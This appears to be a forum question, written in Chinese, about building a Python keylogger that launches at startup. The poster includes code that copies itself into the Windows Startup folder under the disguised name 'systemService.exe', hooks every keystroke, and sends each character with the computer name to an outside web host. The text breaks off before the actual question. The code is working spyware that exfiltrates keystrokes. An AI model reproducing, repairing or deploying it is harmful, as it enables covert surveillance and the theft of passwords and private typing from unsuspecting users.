Python Keylogger
我正在尝试制作一个在启动时自动运行的python键盘记录器。这是python代码 import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys userName = getpass.getuser() filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName if os.path.exists(filePath): if os.path.isfile(filePath+'systemService.exe')==False: try: shutil.copy2(sys.argv[0],filePath+'systemService.exe') except: pass def OnKeyBoardEvent(event): try: params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)}) conn = httplib.HTTPConnection("keylogging.mywebcommunity.org") conn.request("GET","/index.php?"+params) except: pass return True hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyBoardEvent hook_manager.HookKeyboard() …